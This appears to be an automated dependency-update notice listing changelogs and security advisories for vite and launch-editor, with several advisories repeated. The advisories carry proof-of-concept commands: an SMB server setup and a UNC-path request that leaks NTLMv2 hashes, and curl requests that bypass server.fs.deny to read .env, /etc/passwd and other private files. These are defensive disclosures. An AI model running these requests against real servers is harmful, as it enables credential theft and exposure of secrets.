migrate: this will mostly work, but might break if you use weird ancient encodings
by @wooorm in #85

af5eada Update vfile-message
migrate: if you used .position on messages, switch that to .place
optionally use the nicer options parameter to pass your things

Misc

47eec44 Refactor to match current Node internals

ab764ab Refactor docs

bc0332c Change to use node: prefix

5d00341 Change to use global URL in types

6b8fdb4 4800e34 Refactor types

c4b6c0d Refactor code-style

f3c5753 Remove skipLibCheck from tsconfig.json

6a87fde Refactor package.json

Full Changelog: 5.3.7...6.0.0

5.3.7

Misc

d10a468 Add improved docs

3a05718 Refactor code-style

Full Changelog: 5.3.6...5.3.7

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 47 commits:

↗️ vite (indirect, 3.2.4 → 8.1.5) · Repo · Changelog

Security Advisories 🚨

🚨 launch-editor: NTLMv2 hash disclosure via UNC path handling on Windows

Summary

The launch-editor NPM package accesses arbitrary paths including Windows UNC paths. When a UNC path is opened, Windows automatically attempts NTLM authentication to the remote host, causing the user’s NTLMv2 password hash to be leaked to an attacker-controlled SMB server. This can result in credential compromise through offline hash cracking.

Impact

If the following conditions are met, an attacker can get the NTLMv2 password hash on the computer that is using the launch-editor:

using Windows

NTLM is not disabled (it is recommended to disable, while it's still enabled by default)

the user accesses the attackers website that sends request to a middleware using launch-editor

the server that has the middleware using launch-editor is running

the attacker knows the URL for that server and the middleware

This would be a problem if the user password is too simple that it can be identified through offline hash cracking, potentially leading to further compromise of developer accounts or internal systems.

Details

launch-editor accepts file paths without validating or restricting Windows UNC paths such as:
\\attacker-host\share
On Windows systems, accessing a UNC path triggers an automatic NTLM authentication attempt to the remote SMB server. No user interaction or warning is required for this authentication attempt to occur.

If an attacker controls the SMB server referenced by the UNC path the victim’s NTLMv2 hash is transmitted to the attacker. The attacker can then capture the hash and perform offline password cracking. Successful cracking reveals the victim’s cleartext password.

The attacker could target a developer that uses a development server using launch-editor to develop code locally, send them a link and grab their NTLMv2 hash.

PoC

From the attacker side, we will setup an SMB server. I personally used Impacket's smbserver.py, but you could use something like Responder for this as well. For keeping it simple, we will use smbserver.py here.

First, let's create a directory to serve as an SMB share.
mkdir /tmp/data
echo "Hello world" > /tmp/data/test.txt
Then, start the SMB server.
$ sudo smbserver.py -smb2support -debug share /tmp/data
Now, run any project that uses the launch-editor package. I have setup a simple "Hello world" project that uses Vite to do this. Then run the project locally (vite).

Now last, we will open a browser window and navigate to the URL used by the launch-editor package to trigger the NTLM authentication. Or we can use curl to achieve the same.
curl 'http://localhost:5173/__open-in-editor?file=%5c%5c127.0.0.1%5cshare%5ctest.txt'
Note the IP address in the HTTP request, and make sure it connects to the IP address of the SMB server. Now we can look at the logs of smbserver.py and see the NTLMv2 hash coming in.

🚨 vite: `server.fs.deny` bypass on Windows alternate paths

Summary

The contents of files that are specified by server.fs.deny can be returned to the browser on Windows.

Impact

Only apps that match the following conditions are affected:

explicitly exposes the Vite dev server to the network (using --host or server.host config option)

the sensitive file exists in the allowed directories specified by server.fs.allow

either of:

the sensitive file exists in an NTFS volume

the dev server is running on Windows and the sensitive file exists in a volume that 8.3 short name generation is enabled (it is enabled by default on system volumes)

Details

Vite’s dev server denies direct access to sensitive files through server.fs.deny, including entries such as .env, .env.*, and *.{crt,pem}. However, on Windows, the deny logic does not correctly normalize NTFS ADS path forms before access checks are applied.
Because of this, requests such as /.env::$DATA?raw are treated as allowed paths, while Windows resolves them to the original file's default data stream.

Similar to that, Windows allows accessing a file using a different name with the 8.3 short name compatibility feature. Vite did not reject accessing files via them.

PoC
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev
Access via browser at http://localhost:5173/.env::$DATA?raw

Example expected result:

/.env::$DATA?raw returns the contents of .env

/tls.pem::$DATA?raw returns the contents of tls.pem

🚨 vite: `server.fs.deny` bypass on Windows alternate paths

Summary

The contents of files that are specified by server.fs.deny can be returned to the browser on Windows.

Impact

Only apps that match the following conditions are affected:

explicitly exposes the Vite dev server to the network (using --host or server.host config option)

the sensitive file exists in the allowed directories specified by server.fs.allow

either of:

the sensitive file exists in an NTFS volume

the dev server is running on Windows and the sensitive file exists in a volume that 8.3 short name generation is enabled (it is enabled by default on system volumes)

Details

Vite’s dev server denies direct access to sensitive files through server.fs.deny, including entries such as .env, .env.*, and *.{crt,pem}. However, on Windows, the deny logic does not correctly normalize NTFS ADS path forms before access checks are applied.
Because of this, requests such as /.env::$DATA?raw are treated as allowed paths, while Windows resolves them to the original file's default data stream.

Similar to that, Windows allows accessing a file using a different name with the 8.3 short name compatibility feature. Vite did not reject accessing files via them.

PoC
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev
Access via browser at http://localhost:5173/.env::$DATA?raw

Example expected result:

/.env::$DATA?raw returns the contents of .env

/tls.pem::$DATA?raw returns the contents of tls.pem

🚨 vite: `server.fs.deny` bypass on Windows alternate paths

Summary

The contents of files that are specified by server.fs.deny can be returned to the browser on Windows.

Impact

Only apps that match the following conditions are affected:

explicitly exposes the Vite dev server to the network (using --host or server.host config option)

the sensitive file exists in the allowed directories specified by server.fs.allow

either of:

the sensitive file exists in an NTFS volume

the dev server is running on Windows and the sensitive file exists in a volume that 8.3 short name generation is enabled (it is enabled by default on system volumes)

Details

Vite’s dev server denies direct access to sensitive files through server.fs.deny, including entries such as .env, .env.*, and *.{crt,pem}. However, on Windows, the deny logic does not correctly normalize NTFS ADS path forms before access checks are applied.
Because of this, requests such as /.env::$DATA?raw are treated as allowed paths, while Windows resolves them to the original file's default data stream.

Similar to that, Windows allows accessing a file using a different name with the 8.3 short name compatibility feature. Vite did not reject accessing files via them.

PoC
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev
Access via browser at http://localhost:5173/.env::$DATA?raw

Example expected result:

/.env::$DATA?raw returns the contents of .env

/tls.pem::$DATA?raw returns the contents of tls.pem

🚨 launch-editor: NTLMv2 hash disclosure via UNC path handling on Windows

Summary

The launch-editor NPM package accesses arbitrary paths including Windows UNC paths. When a UNC path is opened, Windows automatically attempts NTLM authentication to the remote host, causing the user’s NTLMv2 password hash to be leaked to an attacker-controlled SMB server. This can result in credential compromise through offline hash cracking.

Impact

If the following conditions are met, an attacker can get the NTLMv2 password hash on the computer that is using the launch-editor:

using Windows

NTLM is not disabled (it is recommended to disable, while it's still enabled by default)

the user accesses the attackers website that sends request to a middleware using launch-editor

the server that has the middleware using launch-editor is running

the attacker knows the URL for that server and the middleware

This would be a problem if the user password is too simple that it can be identified through offline hash cracking, potentially leading to further compromise of developer accounts or internal systems.

Details

launch-editor accepts file paths without validating or restricting Windows UNC paths such as:
\\attacker-host\share
On Windows systems, accessing a UNC path triggers an automatic NTLM authentication attempt to the remote SMB server. No user interaction or warning is required for this authentication attempt to occur.

If an attacker controls the SMB server referenced by the UNC path the victim’s NTLMv2 hash is transmitted to the attacker. The attacker can then capture the hash and perform offline password cracking. Successful cracking reveals the victim’s cleartext password.

The attacker could target a developer that uses a development server using launch-editor to develop code locally, send them a link and grab their NTLMv2 hash.

PoC

From the attacker side, we will setup an SMB server. I personally used Impacket's smbserver.py, but you could use something like Responder for this as well. For keeping it simple, we will use smbserver.py here.

First, let's create a directory to serve as an SMB share.
mkdir /tmp/data
echo "Hello world" > /tmp/data/test.txt
Then, start the SMB server.
$ sudo smbserver.py -smb2support -debug share /tmp/data
Now, run any project that uses the launch-editor package. I have setup a simple "Hello world" project that uses Vite to do this. Then run the project locally (vite).

Now last, we will open a browser window and navigate to the URL used by the launch-editor package to trigger the NTLM authentication. Or we can use curl to achieve the same.
curl 'http://localhost:5173/__open-in-editor?file=%5c%5c127.0.0.1%5cshare%5ctest.txt'
Note the IP address in the HTTP request, and make sure it connects to the IP address of the SMB server. Now we can look at the logs of smbserver.py and see the NTLMv2 hash coming in.

🚨 launch-editor: NTLMv2 hash disclosure via UNC path handling on Windows

Summary

The launch-editor NPM package accesses arbitrary paths including Windows UNC paths. When a UNC path is opened, Windows automatically attempts NTLM authentication to the remote host, causing the user’s NTLMv2 password hash to be leaked to an attacker-controlled SMB server. This can result in credential compromise through offline hash cracking.

Impact

If the following conditions are met, an attacker can get the NTLMv2 password hash on the computer that is using the launch-editor:

using Windows

NTLM is not disabled (it is recommended to disable, while it's still enabled by default)

the user accesses the attackers website that sends request to a middleware using launch-editor

the server that has the middleware using launch-editor is running

the attacker knows the URL for that server and the middleware

This would be a problem if the user password is too simple that it can be identified through offline hash cracking, potentially leading to further compromise of developer accounts or internal systems.

Details

launch-editor accepts file paths without validating or restricting Windows UNC paths such as:
\\attacker-host\share
On Windows systems, accessing a UNC path triggers an automatic NTLM authentication attempt to the remote SMB server. No user interaction or warning is required for this authentication attempt to occur.

If an attacker controls the SMB server referenced by the UNC path the victim’s NTLMv2 hash is transmitted to the attacker. The attacker can then capture the hash and perform offline password cracking. Successful cracking reveals the victim’s cleartext password.

The attacker could target a developer that uses a development server using launch-editor to develop code locally, send them a link and grab their NTLMv2 hash.

PoC

From the attacker side, we will setup an SMB server. I personally used Impacket's smbserver.py, but you could use something like Responder for this as well. For keeping it simple, we will use smbserver.py here.

First, let's create a directory to serve as an SMB share.
mkdir /tmp/data
echo "Hello world" > /tmp/data/test.txt
Then, start the SMB server.
$ sudo smbserver.py -smb2support -debug share /tmp/data
Now, run any project that uses the launch-editor package. I have setup a simple "Hello world" project that uses Vite to do this. Then run the project locally (vite).

Now last, we will open a browser window and navigate to the URL used by the launch-editor package to trigger the NTLM authentication. Or we can use curl to achieve the same.
curl 'http://localhost:5173/__open-in-editor?file=%5c%5c127.0.0.1%5cshare%5ctest.txt'
Note the IP address in the HTTP request, and make sure it connects to the IP address of the SMB server. Now we can look at the logs of smbserver.py and see the NTLMv2 hash coming in.

🚨 launch-editor vulnerable to command injection via the crafted request on Windows

Summary

Due to the insufficient sanitization of the file argument in the launchEditor, an attacker can execute arbitrary commands on Windows by supplying a filename that contains special characters.

Impact

If the following conditions are met, an attacker can execute arbitrary commands on the computer that is using the launch-editor:

An attacker can place a file with the malicious filename

An attacker can call the launchEditor method with the file argument controlled

The launch-editor package is running on Windows

For example, some development server using this package satisfy these conditions, as a malicious website might be able to force the downloading of a file and the path of that file is predictable.

Patch

This issue has been fixed in the launch-editor version 2.9.0 (commit).

🚨 Vite Vulnerable to Arbitrary File Read via Vite Dev Server WebSocket

Summary

server.fs check was not enforced to the fetchModule method that is exposed in Vite dev server's WebSocket.

Impact

Only apps that match the following conditions are affected:

explicitly exposes the Vite dev server to the network (using --host or server.host config option)

WebSocket is not disabled by server.ws: false

Arbitrary files on the server (development machine, CI environment, container, etc.) can be exposed.

Details

If it is possible to connect to the Vite dev server’s WebSocket without an Origin header, an attacker can invoke fetchModule via the custom WebSocket event vite:invoke and combine file://... with ?raw (or ?inline) to retrieve the contents of arbitrary files on the server as a JavaScript string (e.g., export default "...").

The access control enforced in the HTTP request path (such as server.fs.allow) is not applied to this WebSocket-based execution path.

PoC
Start the dev server on the target
Example (used during validation with this repository):
pnpm -C playground/alias exec vite --host 0.0.0.0 --port 5173
Confirm that access is blocked via the HTTP path (example: arbitrary file)
curl -i 'http://localhost:5173/@fs/etc/passwd?raw'
Result: 403 Restricted (outside the allow list)
Confirm that the same file can be retrieved via the WebSocket path
By connecting to the HMR WebSocket without an Origin header and sending a vite:invoke request that calls fetchModule with a file://... URL and ?raw, the file contents are returned as a JavaScript module.

🚨 Vite Vulnerable to Arbitrary File Read via Vite Dev Server WebSocket

Summary

server.fs check was not enforced to the fetchModule method that is exposed in Vite dev server's WebSocket.

Impact

Only apps that match the following conditions are affected:

explicitly exposes the Vite dev server to the network (using --host or server.host config option)

WebSocket is not disabled by server.ws: false

Arbitrary files on the server (development machine, CI environment, container, etc.) can be exposed.

Details

If it is possible to connect to the Vite dev server’s WebSocket without an Origin header, an attacker can invoke fetchModule via the custom WebSocket event vite:invoke and combine file://... with ?raw (or ?inline) to retrieve the contents of arbitrary files on the server as a JavaScript string (e.g., export default "...").

The access control enforced in the HTTP request path (such as server.fs.allow) is not applied to this WebSocket-based execution path.

PoC
Start the dev server on the target
Example (used during validation with this repository):
pnpm -C playground/alias exec vite --host 0.0.0.0 --port 5173
Confirm that access is blocked via the HTTP path (example: arbitrary file)
curl -i 'http://localhost:5173/@fs/etc/passwd?raw'
Result: 403 Restricted (outside the allow list)
Confirm that the same file can be retrieved via the WebSocket path
By connecting to the HMR WebSocket without an Origin header and sending a vite:invoke request that calls fetchModule with a file://... URL and ?raw, the file contents are returned as a JavaScript module.

🚨 Vite Vulnerable to Path Traversal in Optimized Deps `.map` Handling

Summary

Any files ending with .map even out side the project can be returned to the browser.

Impact

Only apps that match the following conditions are affected:

explicitly exposes the Vite dev server to the network (using --host or server.host config option)

have a sensitive content in files ending with .map and the path is predictable

Details

In Vite v7.3.1, the dev server’s handling of .map requests for optimized dependencies resolves file paths and calls readFile without restricting ../ segments in the URL. As a result, it is possible to bypass the server.fs.strict allow list and retrieve .map files located outside the project root, provided they can be parsed as valid source map JSON.

PoC
Create a minimal PoC sourcemap outside the project root
cat > /tmp/poc.map <<'EOF'
{"version":3,"file":"x.js","sources":[],"names":[],"mappings":""}
EOF
Start the Vite dev server (example)
pnpm -C playground/fs-serve dev --host 127.0.0.1 --port 18080
Confirm that direct /@fs access is blocked by strict (returns 403)

Inject ../ segments under the optimized deps .map URL prefix to reach /tmp/poc.map

🚨 Vite Vulnerable to Path Traversal in Optimized Deps `.map` Handling

Summary

Any files ending with .map even out side the project can be returned to the browser.

Impact

Only apps that match the following conditions are affected:

explicitly exposes the Vite dev server to the network (using --host or server.host config option)

have a sensitive content in files ending with .map and the path is predictable

Details

In Vite v7.3.1, the dev server’s handling of .map requests for optimized dependencies resolves file paths and calls readFile without restricting ../ segments in the URL. As a result, it is possible to bypass the server.fs.strict allow list and retrieve .map files located outside the project root, provided they can be parsed as valid source map JSON.

PoC
Create a minimal PoC sourcemap outside the project root
cat > /tmp/poc.map <<'EOF'
{"version":3,"file":"x.js","sources":[],"names":[],"mappings":""}
EOF
Start the Vite dev server (example)
pnpm -C playground/fs-serve dev --host 127.0.0.1 --port 18080
Confirm that direct /@fs access is blocked by strict (returns 403)

Inject ../ segments under the optimized deps .map URL prefix to reach /tmp/poc.map

🚨 Vite Vulnerable to Path Traversal in Optimized Deps `.map` Handling

Summary

Any files ending with .map even out side the project can be returned to the browser.

Impact

Only apps that match the following conditions are affected:

explicitly exposes the Vite dev server to the network (using --host or server.host config option)

have a sensitive content in files ending with .map and the path is predictable

Details

In Vite v7.3.1, the dev server’s handling of .map requests for optimized dependencies resolves file paths and calls readFile without restricting ../ segments in the URL. As a result, it is possible to bypass the server.fs.strict allow list and retrieve .map files located outside the project root, provided they can be parsed as valid source map JSON.

PoC
Create a minimal PoC sourcemap outside the project root
cat > /tmp/poc.map <<'EOF'
{"version":3,"file":"x.js","sources":[],"names":[],"mappings":""}
EOF
Start the Vite dev server (example)
pnpm -C playground/fs-serve dev --host 127.0.0.1 --port 18080
Confirm that direct /@fs access is blocked by strict (returns 403)

Inject ../ segments under the optimized deps .map URL prefix to reach /tmp/poc.map

🚨 Vite: `server.fs.deny` bypassed with queries

Summary

The contents of files that are specified by server.fs.deny can be returned to the browser.

Impact

Only apps that match the following conditions are affected:

explicitly exposes the Vite dev server to the network (using --host or server.host config option)

the sensitive file exists in the allowed directories specified by server.fs.allow

the sensitive file is denied with a pattern that matches a file by server.fs.deny

Details

On the Vite dev server, files that should be blocked by server.fs.deny (e.g., .env, *.crt) can be retrieved with HTTP 200 responses when query parameters such as ?raw, ?import&raw, or ?import&url&inline are appended.

PoC

Start the dev server: pnpm exec vite root --host 127.0.0.1 --port 5175 --strictPort

Confirm that server.fs.deny is enforced (expect 403): curl -i http://127.0.0.1:5175/src/.env | head -n 20

Confirm that the same files can be retrieved with query parameters (expect 200):

🚨 Vite: `server.fs.deny` bypassed with queries

Summary

The contents of files that are specified by server.fs.deny can be returned to the browser.

Impact

Only apps that match the following conditions are affected:

explicitly exposes the Vite dev server to the network (using --host or server.host config option)

the sensitive file exists in the allowed directories specified by server.fs.allow

the sensitive file is denied with a pattern that matches a file by server.fs.deny

Details

On the Vite dev server, files that should be blocked by server.fs.deny (e.g., .env, *.crt) can be retrieved with HTTP 200 responses when query parameters such as ?raw, ?import&raw, or ?import&url&inline are appended.

PoC

Start the dev server: pnpm exec vite root --host 127.0.0.1 --port 5175 --strictPort

Confirm that server.fs.deny is enforced (expect 403): curl -i http://127.0.0.1:5175/src/.env | head -n 20

Confirm that the same files can be retrieved with query parameters (expect 200):

🚨 Vite Vulnerable to Arbitrary File Read via Vite Dev Server WebSocket

Summary

server.fs check was not enforced to the fetchModule method that is exposed in Vite dev server's WebSocket.

Impact

Only apps that match the following conditions are affected:

explicitly exposes the Vite dev server to the network (using --host or server.host config option)

WebSocket is not disabled by server.ws: false

Arbitrary files on the server (development machine, CI environment, container, etc.) can be exposed.

Details

If it is possible to connect to the Vite dev server’s WebSocket without an Origin header, an attacker can invoke fetchModule via the custom WebSocket event vite:invoke and combine file://... with ?raw (or ?inline) to retrieve the contents of arbitrary files on the server as a JavaScript string (e.g., export default "...").

The access control enforced in the HTTP request path (such as server.fs.allow) is not applied to this WebSocket-based execution path.

PoC
Start the dev server on the target
Example (used during validation with this repository):
pnpm -C playground/alias exec vite --host 0.0.0.0 --port 5173
Confirm that access is blocked via the HTTP path (example: arbitrary file)
curl -i 'http://localhost:5173/@fs/etc/passwd?raw'
Result: 403 Restricted (outside the allow list)
Confirm that the same file can be retrieved via the WebSocket path
By connecting to the HMR WebSocket without an Origin header and sending a vite:invoke request that calls fetchModule with a file://... URL and ?raw, the file contents are returned as a JavaScript module.

🚨 vite allows server.fs.deny bypass via backslash on Windows

Summary

Files denied by server.fs.deny were sent if the URL ended with \ when the dev server is running on Windows.

Impact

Only apps that match the following conditions are affected:

explicitly exposes the Vite dev server to the network (using --host or server.host config option)

running the dev server on Windows

Details

server.fs.deny can contain patterns matching against files (by default it includes .env, .env.*, *.{crt,pem} as such patterns). These patterns were able to bypass by using a back slash(\). The root cause is that fs.readFile('/foo.png/') loads /foo.png.

PoC
npm create vite@latest
cd vite-project/
cat "secret" > .env
npm install
npm run dev
curl --request-target /.env\ http://localhost:5173

🚨 vite allows server.fs.deny bypass via backslash on Windows

Summary

Files denied by server.fs.deny were sent if the URL ended with \ when the dev server is running on Windows.

Impact

Only apps that match the following conditions are affected:

explicitly exposes the Vite dev server to the network (using --host or server.host config option)

running the dev server on Windows

Details

server.fs.deny can contain patterns matching against files (by default it includes .env, .env.*, *.{crt,pem} as such patterns). These patterns were able to bypass by using a back slash(\). The root cause is that fs.readFile('/foo.png/') loads /foo.png.

PoC
npm create vite@latest
cd vite-project/
cat "secret" > .env
npm install
npm run dev
curl --request-target /.env\ http://localhost:5173

🚨 vite allows server.fs.deny bypass via backslash on Windows

Summary

Files denied by server.fs.deny were sent if the URL ended with \ when the dev server is running on Windows.

Impact

Only apps that match the following conditions are affected:

explicitly exposes the Vite dev server to the network (using --host or server.host config option)

running the dev server on Windows

Details

server.fs.deny can contain patterns matching against files (by default it includes .env, .env.*, *.{crt,pem} as such patterns). These patterns were able to bypass by using a back slash(\). The root cause is that fs.readFile('/foo.png/') loads /foo.png.

PoC
npm create vite@latest
cd vite-project/
cat "secret" > .env
npm install
npm run dev
curl --request-target /.env\ http://localhost:5173

🚨 vite allows server.fs.deny bypass via backslash on Windows

Summary

Files denied by server.fs.deny were sent if the URL ended with \ when the dev server is running on Windows.

Impact

Only apps that match the following conditions are affected:

explicitly exposes the Vite dev server to the network (using --host or server.host config option)

running the dev server on Windows

Details

server.fs.deny can contain patterns matching against files (by default it includes .env, .env.*, *.{crt,pem} as such patterns). These patterns were able to bypass by using a back slash(\). The root cause is that fs.readFile('/foo.png/') loads /foo.png.

PoC
npm create vite@latest
cd vite-project/
cat "secret" > .env
npm install
npm run dev
curl --request-target /.env\ http://localhost:5173

🚨 Vite middleware may serve files starting with the same name with the public directory

Summary

Files starting with the same name with the public directory were served bypassing the server.fs settings.

Impact

Only apps that match the following conditions are affected:

explicitly exposes the Vite dev server to the network (using --host or server.host config option)

uses the public directory feature (enabled by default)

a symlink exists in the public directory

Details

The servePublicMiddleware function is in charge of serving public files from the server. It returns the viteServePublicMiddleware function which runs the needed tests and serves the page. The viteServePublicMiddleware function checks if the publicFiles variable is defined, and then uses it to determine if the requested page is public. In the case that the publicFiles is undefined, the code will treat the requested page as a public page, and go on with the serving function. publicFiles may be undefined if there is a symbolic link anywhere inside the public directory. In that case, every requested page will be passed to the public serving function. The serving function is based on the sirv library. Vite patches the library to add the possibility to test loading access to pages, but when the public page middleware disables this functionality since public pages are meant to be available always, regardless of whether they are in the allow or deny list.

In the case of public pages, the serving function is provided with the path to the public directory as a root directory. The code of the sirv library uses the join function to get the full path to the requested file. For example, if the public directory is "/www/public", and the requested file is "myfile", the code will join them to the string "/www/public/myfile". The code will then pass this string to the normalize function. Afterwards, the code will use the string's startsWith function to determine whether the created path is within the given directory or not. Only if it is, it will be served.

Since sirv trims the trailing slash of the public directory, the string's startsWith function may return true even if the created path is not within the public directory. For example, if the server's root is at "/www", and the public directory is at "/www/p", if the created path will be "/www/private.txt", the startsWith function will still return true, because the string "/www/private.txt" starts with "/www/p". To achieve this, the attacker will use ".." to ask for the file "../private.txt". The code will then join it to the "/www/p" string, and will receive "/www/p/../private.txt". Then, the normalize function will return "/www/private.txt", which will then be passed to the startsWith function, which will return true, and the processing of the page will continue without checking the deny list (since this is the public directory middleware which doesn't check that).

PoC

Execute the following shell commands:
npm  create  vite@latest
cd vite-project/
mkdir p
cd p
ln -s a b
cd ..
echo  'import path from "node:path"; import { defineConfig } from "vite"; export default defineConfig({publicDir: path.resolve(__dirname, "p/"), server: {fs: {deny: [path.resolve(__dirname, "private.txt")]}}})' > vite.config.js
echo  "secret" > private.txt
npm install
npm run dev
Then, in a different shell, run the following command:

curl -v --path-as-is 'http://localhost:5173/private.txt'

You will receive a 403 HTTP Response, because private.txt is denied.

Now in the same shell run the following command:

curl -v --path-as-is 'http://localhost:5173/../private.txt'

You will receive the contents of private.txt.

Related links

lukeed/sirv@f0113f3

🚨 Vite middleware may serve files starting with the same name with the public directory

Summary

Files starting with the same name with the public directory were served bypassing the server.fs settings.

Impact

Only apps that match the following conditions are affected:

explicitly exposes the Vite dev server to the network (using --host or server.host config option)

uses the public directory feature (enabled by default)

a symlink exists in the public directory

Details

The servePublicMiddleware function is in charge of serving public files from the server. It returns the viteServePublicMiddleware function which runs the needed tests and serves the page. The viteServePublicMiddleware function checks if the publicFiles variable is defined, and then uses it to determine if the requested page is public. In the case that the publicFiles is undefined, the code will treat the requested page as a public page, and go on with the serving function. publicFiles may be undefined if there is a symbolic link anywhere inside the public directory. In that case, every requested page will be passed to the public serving function. The serving function is based on the sirv library. Vite patches the library to add the possibility to test loading access to pages, but when the public page middleware disables this functionality since public pages are meant to be available always, regardless of whether they are in the allow or deny list.

In the case of public pages, the serving function is provided with the path to the public directory as a root directory. The code of the sirv library uses the join function to get the full path to the requested file. For example, if the public directory is "/www/public", and the requested file is "myfile", the code will join them to the string "/www/public/myfile". The code will then pass this string to the normalize function. Afterwards, the code will use the string's startsWith function to determine whether the created path is within the given directory or not. Only if it is, it will be served.

Since sirv trims the trailing slash of the public directory, the string's startsWith function may return true even if the created path is not within the public directory. For example, if the server's root is at "/www", and the public directory is at "/www/p", if the created path will be "/www/private.txt", the startsWith function will still return true, because the string "/www/private.txt" starts with "/www/p". To achieve this, the attacker will use ".." to ask for the file "../private.txt". The code will then join it to the "/www/p" string, and will receive "/www/p/../private.txt". Then, the normalize function will return "/www/private.txt", which will then be passed to the startsWith function, which will return true, and the processing of the page will continue without checking the deny list (since this is the public directory middleware which doesn't check that).

PoC

Execute the following shell commands:
npm  create  vite@latest
cd vite-project/
mkdir p
cd p
ln -s a b
cd ..
echo  'import path from "node:path"; import { defineConfig } from "vite"; export default defineConfig({publicDir: path.resolve(__dirname, "p/"), server: {fs: {deny: [path.resolve(__dirname, "private.txt")]}}})' > vite.config.js
echo  "secret" > private.txt
npm install
npm run dev
Then, in a different shell, run the following command:

curl -v --path-as-is 'http://localhost:5173/private.txt'

You will receive a 403 HTTP Response, because private.txt is denied.

Now in the same shell run the following command:

curl -v --path-as-is 'http://localhost:5173/../private.txt'

You will receive the contents of private.txt.

Related links

lukeed/sirv@f0113f3

🚨 Vite middleware may serve files starting with the same name with the public directory

Summary

Files starting with the same name with the public directory were served bypassing the server.fs settings.

Impact

Only apps that match the following conditions are affected:

explicitly exposes the Vite dev server to the network (using --host or server.host config option)

uses the public directory feature (enabled by default)

a symlink exists in the public directory

Details

The servePublicMiddleware function is in charge of serving public files from the server. It returns the viteServePublicMiddleware function which runs the needed tests and serves the page. The viteServePublicMiddleware function checks if the publicFiles variable is defined, and then uses it to determine if the requested page is public. In the case that the publicFiles is undefined, the code will treat the requested page as a public page, and go on with the serving function. publicFiles may be undefined if there is a symbolic link anywhere inside the public directory. In that case, every requested page will be passed to the public serving function. The serving function is based on the sirv library. Vite patches the library to add the possibility to test loading access to pages, but when the public page middleware disables this functionality since public pages are meant to be available always, regardless of whether they are in the allow or deny list.

In the case of public pages, the serving function is provided with the path to the public directory as a root directory. The code of the sirv library uses the join function to get the full path to the requested file. For example, if the public directory is "/www/public", and the requested file is "myfile", the code will join them to the string "/www/public/myfile". The code will then pass this string to the normalize function. Afterwards, the code will use the string's startsWith function to determine whether the created path is within the given directory or not. Only if it is, it will be served.

Since sirv trims the trailing slash of the public directory, the string's startsWith function may return true even if the created path is not within the public directory. For example, if the server's root is at "/www", and the public directory is at "/www/p", if the created path will be "/www/private.txt", the startsWith function will still return true, because the string "/www/private.txt" starts with "/www/p". To achieve this, the attacker will use ".." to ask for the file "../private.txt". The code will then join it to the "/www/p" string, and will receive "/www/p/../private.txt". Then, the normalize function will return "/www/private.txt", which will then be passed to the startsWith function, which will return true, and the processing of the page will continue without checking the deny list (since this is the public directory middleware which doesn't check that).

PoC

Execute the following shell commands:
npm  create  vite@latest
cd vite-project/
mkdir p
cd p
ln -s a b
cd ..
echo  'import path from "node:path"; import { defineConfig } from "vite"; export default defineConfig({publicDir: path.resolve(__dirname, "p/"), server: {fs: {deny: [path.resolve(__dirname, "private.txt")]}}})' > vite.config.js
echo  "secret" > private.txt
npm install
npm run dev
Then, in a different shell, run the following command:

curl -v --path-as-is 'http://localhost:5173/private.txt'

You will receive a 403 HTTP Response, because private.txt is denied.

Now in the same shell run the following command:

curl -v --path-as-is 'http://localhost:5173/../private.txt'

You will receive the contents of private.txt.

Related links

lukeed/sirv@f0113f3

🚨 Vite middleware may serve files starting with the same name with the public directory

Summary

Files starting with the same name with the public directory were served bypassing the server.fs settings.

Impact

Only apps that match the following conditions are affected:

explicitly exposes the Vite dev server to the network (using --host or server.host config option)

uses the public directory feature (enabled by default)

a symlink exists in the public directory

Details

The servePublicMiddleware function is in charge of serving public files from the server. It returns the viteServePublicMiddleware function which runs the needed tests and serves the page. The viteServePublicMiddleware function checks if the publicFiles variable is defined, and then uses it to determine if the requested page is public. In the case that the publicFiles is undefined, the code will treat the requested page as a public page, and go on with the serving function. publicFiles may be undefined if there is a symbolic link anywhere inside the public directory. In that case, every requested page will be passed to the public serving function. The serving function is based on the sirv library. Vite patches the library to add the possibility to test loading access to pages, but when the public page middleware disables this functionality since public pages are meant to be available always, regardless of whether they are in the allow or deny list.

In the case of public pages, the serving function is provided with the path to the public directory as a root directory. The code of the sirv library uses the join function to get the full path to the requested file. For example, if the public directory is "/www/public", and the requested file is "myfile", the code will join them to the string "/www/public/myfile". The code will then pass this string to the normalize function. Afterwards, the code will use the string's startsWith function to determine whether the created path is within the given directory or not. Only if it is, it will be served.

Since sirv trims the trailing slash of the public directory, the string's startsWith function may return true even if the created path is not within the public directory. For example, if the server's root is at "/www", and the public directory is at "/www/p", if the created path will be "/www/private.txt", the startsWith function will still return true, because the string "/www/private.txt" starts with "/www/p". To achieve this, the attacker will use ".." to ask for the file "../private.txt". The code will then join it to the "/www/p" string, and will receive "/www/p/../private.txt". Then, the normalize function will return "/www/private.txt", which will then be passed to the startsWith function, which will return true, and the processing of the page will continue without checking the deny list (since this is the public directory middleware which doesn't check that).

PoC

Execute the following shell commands:
npm  create  vite@latest
cd vite-project/
mkdir p
cd p
ln -s a b
cd ..
echo  'import path from "node:path"; import { defineConfig } from "vite"; export default defineConfig({publicDir: path.resolve(__dirname, "p/"), server: {fs: {deny: [path.resolve(__dirname, "private.txt")]}}})' > vite.config.js
echo  "secret" > private.txt
npm install
npm run dev
Then, in a different shell, run the following command:

curl -v --path-as-is 'http://localhost:5173/private.txt'

You will receive a 403 HTTP Response, because private.txt is denied.

Now in the same shell run the following command:

curl -v --path-as-is 'http://localhost:5173/../private.txt'

You will receive the contents of private.txt.

Related links

lukeed/sirv@f0113f3

🚨 Vite's `server.fs` settings were not applied to HTML files

Summary

Any HTML files on the machine were served regardless of the server.fs settings.

Impact

Only apps that match the following conditions are affected:

explicitly exposes the Vite dev server to the network (using --host or server.host config option)

appType: 'spa' (default) or appType: 'mpa' is used

This vulnerability also affects the preview server. The preview server allowed HTML files not under the output directory to be served.

Details

The serveStaticMiddleware function is in charge of serving static files from the server. It returns the viteServeStaticMiddleware function which runs the needed tests and serves the page. The viteServeStaticMiddleware function checks if the extension of the requested file is ".html". If so, it doesn't serve the page. Instead, the server will go on to the next middlewares, in this case htmlFallbackMiddleware, and then to indexHtmlMiddleware. These middlewares don't perform any test against allow or deny rules, and they don't make sure that the accessed file is in the root directory of the server. They just find the file and send back its contents to the client.

PoC

Execute the following shell commands:
npm  create  vite@latest
cd vite-project/
echo  "secret" > /tmp/secret.html
npm install
npm run dev
